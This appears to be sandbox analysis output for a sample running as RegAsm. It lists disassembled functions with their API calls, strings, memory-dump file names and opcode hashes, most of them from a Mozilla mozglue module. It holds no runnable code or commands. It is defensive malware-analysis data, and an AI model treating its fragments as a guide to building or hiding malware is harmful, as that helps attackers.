Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__getptd.LIBCMT ref: 0041C154
__amsg_exit.LIBCMT ref: 0041C162
__lock.LIBCMT ref: 0041C172
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C186

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: c97b1cd8c1bf5e7720fb8207f6683a26967bfbf4c7aefb49925ecc618f12c84f
Instruction ID: 8423f9a113a1835f1d35103eff65ed0838148ed172a20d49ff88b4dc443596f5
Opcode Fuzzy Hash: c97b1cd8c1bf5e7720fb8207f6683a26967bfbf4c7aefb49925ecc618f12c84f
Instruction Fuzzy Hash: 9EF06271AD5310ABD720BBA95C427DA3790AF00728F15410FE454A62D3CB6C58D19A9E

Function 6CBA1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CBA1800

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

Part of subcall function 6CB44290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB83EBD,6CB83EBD,00000000), ref: 6CB442A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6CBA18C7
Details, xrefs: 6CBA1925
name, xrefs: 6CBA1939

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d30346f5706f0703274b87b22b4acb173957862b6b952546af21462865fc5662
Instruction ID: 3f1e5ec7fb7d141ff2b84612dd78aa569b030b74069f3a05f22d962eba90b274
Opcode Fuzzy Hash: d30346f5706f0703274b87b22b4acb173957862b6b952546af21462865fc5662
Instruction Fuzzy Hash: AA71F570A04386DFCB04CF68C4506AEBBB5FF49314F044669D8554BB41D770EAA9CBE2

Function 6CBAB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CBAB0A6,6CBAB0A6,?,6CBAAF67,?,00000010,?,6CBAAF67,?,00000010,00000000,?,?,6CBAAB1F), ref: 6CBAB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CBAB0A6,6CBAB0A6,?,6CBAAF67,?,00000010,?,6CBAAF67,?,00000010,00000000,?), ref: 6CBAB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CBAB0A6,6CBAB0A6,?,6CBAAF67,?,00000010,?,6CBAAF67,?,00000010), ref: 6CBAB25F

Strings

map/set<T> too long, xrefs: 6CBAB1FA

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 97220d9ee4a5ec3472d6c3c03b57aacc39524c93393f52f64e6192c65d90f226
Instruction ID: 0dbaad31ddf2eff4c165fefd07103227c7edb746625f10585d9fb6476db69daa
Opcode Fuzzy Hash: 97220d9ee4a5ec3472d6c3c03b57aacc39524c93393f52f64e6192c65d90f226
Instruction Fuzzy Hash: 5D6180746482898FD701CF59C480A9ABBF1FF4A318F18C599D8A94FB52C331EC46CB91

Function 6CB6D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

EnterCriticalSection.KERNEL32(6CBCE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CB7D1C5), ref: 6CB6D4F2
LeaveCriticalSection.KERNEL32(6CBCE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CB7D1C5), ref: 6CB6D50B

Part of subcall function 6CB4CFE0: EnterCriticalSection.KERNEL32(6CBCE784), ref: 6CB4CFF6
Part of subcall function 6CB4CFE0: LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB4D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CB7D1C5), ref: 6CB6D52E
EnterCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB6D690
LeaveCriticalSection.KERNEL32(6CBCE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CB7D1C5), ref: 6CB6D751

Strings

MOZ_CRASH(), xrefs: 6CB6D4BB

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 80392a0a921ce818394659832bd3425753429f740912385b2e1a747303c878da
Instruction ID: 3eed6513d118233899722cc873d8ae03773515cc1c697512c35825c5a65d3e6e
Opcode Fuzzy Hash: 80392a0a921ce818394659832bd3425753429f740912385b2e1a747303c878da
Instruction Fuzzy Hash: 0151D371B047858FD324CF29C09476AB7E5EB89714F644A2EE9A9C7F84D770E800CB92

Function 6CB94630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB94721

Strings

profiler-paused, xrefs: 6CB946E4
-%llu, xrefs: 6CB94733
., xrefs: 6CB9476A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 223e5c74979ef5ce04d9e33ecd0b17d1767b9ebe36a969ca893fc79d575caee7
Instruction ID: 11259de63e8ee0a1604f499a350ddb4e9c1e9604b64894624378a78a45c1a668
Opcode Fuzzy Hash: 223e5c74979ef5ce04d9e33ecd0b17d1767b9ebe36a969ca893fc79d575caee7
Instruction Fuzzy Hash: E5414971E047489FCB08DF78E85119EBBE5EF86744F10863DE865A7B41EB3498448B52

Function 6CBB9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CBB985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CBB987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CBB98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CBB98D9

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: e2827d5c4bf9f5e3f27e6372070960cbcd53903b972543177bd5da7f9aaab032
Instruction ID: 778e6e38d88b05721eaea109a1dede78c56a3b7a511c8aee8734aa72435d2571
Opcode Fuzzy Hash: e2827d5c4bf9f5e3f27e6372070960cbcd53903b972543177bd5da7f9aaab032
Instruction Fuzzy Hash: D3310571B001889FDB14AF59DC559EF77B9DF88715F40802DEE1AABB40DB31A9048BE1

Function 6CB946E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB94721

Part of subcall function 6CB44410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB83EBD,00000017,?,00000000,?,6CB83EBD,?,?,6CB442D2), ref: 6CB44444

Strings

profiler-paused, xrefs: 6CB946E4
-%llu, xrefs: 6CB94733
., xrefs: 6CB9476A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 80ddc39a59e5ccb06d859a9c86add0d2bdcb07e8f8cd5318660953a78f98fffa
Instruction ID: ef7bacb9a39af52bdf65f0998db67774582db4509dba936ab0c79f9d88eca5c6
Opcode Fuzzy Hash: 80ddc39a59e5ccb06d859a9c86add0d2bdcb07e8f8cd5318660953a78f98fffa
Instruction Fuzzy Hash: B6314B75F042485BCB0CCF6CD8912AEBBE6DB99314F15813DE8159BB41EB7499048F91

Function 6CB9B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB44290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB83EBD,6CB83EBD,00000000), ref: 6CB442A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB9B127), ref: 6CB9B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB9B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB9B4E4

Strings

pid:, xrefs: 6CB9B4DE

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 22a19a96be121d6eb3892a04f6ef6cc1dd62fe0a20baa66e80a291d278c0bbba
Instruction ID: d176af5ae2c96c5a937742e55c04169702accc2e88f8b3791218fb32c18a7cb9
Opcode Fuzzy Hash: 22a19a96be121d6eb3892a04f6ef6cc1dd62fe0a20baa66e80a291d278c0bbba
Instruction Fuzzy Hash: 3331D231A012889FDB20DFA9D880AEEB7B5FF4A318F540539D81167B41D731E949DBE2

Function 004160D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416103

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 004161C6
ExitProcess.KERNEL32 ref: 004161F5

Strings

<, xrefs: 00416179

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 7c5465ad6f2791ceef377b52a52ad20443ccb7e3d8f32965245a264df9859baf
Instruction ID: 54b6532b0b3a1e4a3a0de688d9ef2eddded6cf57616e9fa182c501fcadca31e9
Opcode Fuzzy Hash: 7c5465ad6f2791ceef377b52a52ad20443ccb7e3d8f32965245a264df9859baf
Instruction Fuzzy Hash: F6318EB1801218ABCB14EB90CC86FDEB778AF54314F40419EF20962191DF786B88CF69

Function 6CB4F100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6CBBD020), ref: 6CB4F122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CB4F132

Strings

SHGetKnownFolderPath, xrefs: 6CB4F12C
shell32, xrefs: 6CB4F11D

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 629e4a8a1ffaf9065a79538502198d70070b9af6970b819df3193293491d0475
Instruction ID: 50c0586ae2cf4a577b3faa0b54f9828bafeeb9a7620c8f907efe5c40c9c6e088
Opcode Fuzzy Hash: 629e4a8a1ffaf9065a79538502198d70070b9af6970b819df3193293491d0475
Instruction Fuzzy Hash: 6E015A7170425AEFDF008F69DC58A9F7BF8EF4A654B404429E949E7600D730AA04CBA1

Function 6CB8E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB8E577
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E584
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB8E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CB8E5A1, 6CB8E5CC, 6CB8E5FF, 6CB8E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB8E722, 6CB8E750, 6CB8E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB8E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB8E826, 6CB8E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB8E777

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: d773d1df64f906ebef4a5a9ac044f8c79c0a389339147da2c7feada53263c76c
Instruction ID: 0f53a7b598b1f62f8781798c8e72784b6414781739add4c66b16ec7f317b9d6a
Opcode Fuzzy Hash: d773d1df64f906ebef4a5a9ac044f8c79c0a389339147da2c7feada53263c76c
Instruction Fuzzy Hash: AA11ED36B002D8DFCB009F14C848A6EBBB8FB89729F400618E85187A50C774AA44CFD2

Function 6CB7CBE8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB7D001
<jemalloc>, xrefs: 6CB7CFFC

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2429186680-2186867486
Opcode ID: 4dc8237a233cda2f26a767212d09076e7721337feafb99efc7560afe5653323e
Instruction ID: ba083882cd043552d5186d70efceddc0b5bc650df6a67c95d877a70ef0699a32
Opcode Fuzzy Hash: 4dc8237a233cda2f26a767212d09076e7721337feafb99efc7560afe5653323e
Instruction Fuzzy Hash: 16B092706043089BDB142BA4980DB0D3B7CB70DA01F000828A20283241CBB9A2008E61

Function 6CB52272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB5237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB52B9C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 6d56978bbc1640c82a6edf0e202faf71965cb2b444140e3fd15d1632cbb8d05d
Instruction ID: b12e1c372a4a6f7ae1613b4bd75528b1ae74b07c9f0013d129871ea9c4a14c96
Opcode Fuzzy Hash: 6d56978bbc1640c82a6edf0e202faf71965cb2b444140e3fd15d1632cbb8d05d
Instruction Fuzzy Hash: 85E1DF71A012468FDB08CF59C8D4BAEBBB2FF88314F598168E9095B745D371EC95CB82

Function 6CB90C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB90CD5

Part of subcall function 6CB7F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB7F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB90D40
free.MOZGLUE ref: 6CB90DCB

Part of subcall function 6CB65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB65EDB
Part of subcall function 6CB65E90: memset.VCRUNTIME140(6CBA7765,000000E5,55CCCCCC), ref: 6CB65F27
Part of subcall function 6CB65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB65FB2

free.MOZGLUE ref: 6CB90DDD
free.MOZGLUE ref: 6CB90DF2

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 4cdba045c406fba9a245edc84cffc7d31901459aad87290894e35ee22ed74767
Instruction ID: e7067721b14a6bf94f3b7d915be19976e890daa37d20f16461977aae49b356a4
Opcode Fuzzy Hash: 4cdba045c406fba9a245edc84cffc7d31901459aad87290894e35ee22ed74767
Instruction Fuzzy Hash: 144106719087908BD720CF29D0807AEFBE5BFC9714F518A2EE8E887761D7709584CB92

Function 6CB99120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CB98242,?,00000000,?,6CB8B63F), ref: 6CB99188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CB98242,?,00000000,?,6CB8B63F), ref: 6CB991BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6CB98242,?,00000000,?,6CB8B63F), ref: 6CB991EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CB98242,?,00000000,?,6CB8B63F), ref: 6CB99200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CB98242,?,00000000,?,6CB8B63F), ref: 6CB99219

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 873f6bc57b63b0c23b763bc126a7c773ce0f3e4008e419c730874e48975e5cfd
Instruction ID: d1e24aabc9585a341843ed4e1c7308e0db10eca4382d40702f31924317c77018
Opcode Fuzzy Hash: 873f6bc57b63b0c23b763bc126a7c773ce0f3e4008e419c730874e48975e5cfd
Instruction Fuzzy Hash: B5313031E006058FEB40CF68DC4476AB3A9FF86714F514639D85ED7640EB31E904CBA2

Function 6CB80800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

